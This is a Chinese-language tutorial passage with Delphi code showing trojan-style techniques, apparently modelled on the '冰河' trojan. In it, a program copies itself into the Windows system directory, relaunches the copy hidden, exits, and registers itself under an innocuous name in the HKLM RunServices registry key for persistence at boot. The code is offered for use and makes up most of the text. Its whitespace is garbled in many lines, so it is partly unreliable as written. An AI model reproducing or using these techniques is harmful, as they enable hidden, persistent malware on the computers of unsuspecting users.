這種方法的原理是程序運(yùn)行時(shí)先查看自己是不是在特定目錄下,如果是就繼續(xù)運(yùn)行,如果不是就把自己拷貝到特定目錄下,然后運(yùn)行新程序,再退出舊程序.
打開Delphi,新建一個(gè)工程,在窗口的Create事件中寫代碼:
procedureTForm1.FormCreate(Sender:TObject);
var
myname:string;
begin
myname:=ExtractFilename(Application.Exename);//獲得文件名
ifapplication.Exename<>GetWindir+mynamethen//如果文件不是在Windows\System\那么..
begin
copyfile(pchar(application.Exename),pchar(GetWindir+myname),False);{將自己拷貝到Windows\System\下}
Winexec(pchar(GetWindir+myname),sw_hide);//運(yùn)行Windows\System\下的新文件
application.Terminate;//退出
end;
end;
其中GetWinDir是自定義函數(shù),起功能是找出Windows\System\的路徑.
function GetWinDir:String;
var
Buf:array[0..MAX_PATH]ofchar;
begin
GetSystemDirectory(Buf,MAX_PATH);
Result:=Buf;
ifResult[Length(Result)]<>'\'thenResult:=Result+'\';
end;
如何能使程序能在windows啟動(dòng)時(shí)自動(dòng)啟動(dòng)?
為了程序能在Windows每次啟動(dòng)時(shí)自動(dòng)運(yùn)行,可以通過六種途徑來實(shí)現(xiàn).“冰河”用注冊(cè)表的方式.
加入Registry單元,改寫上面的窗口Create事件,改寫后的程序如下:
procedureTForm1.FormCreate(Sender:TObject);
constK='\Software\Microsoft\Windows\CurrentVersion\RunServices';
varmyname:string;
begin
{WritebyLovejingtao,http://Lovejingtao.126.com,Lovejingtao@21cn.com}
myname:=ExtractFilename(Application.Exename);//獲得文件名
ifapplication.Exename<>GetWindir+mynamethen//如果文件不是在Windows\System\那么..
begin
copyfile(pchar(application.Exename),pchar(GetWindir+myname),False);{//將自己拷貝到Windows\System\下}
Winexec(pchar(GetWindir+myname),sw_hide);//運(yùn)行Windows\System\下的新文件
application.Terminate;//退出
end;
withTRegistry.Createdo
try
RootKey:=HKEY_LOCAL_MACHINE;
OpenKey(K,TRUE);
WriteString('syspler',application.ExeName);
finally
free;
end;
end;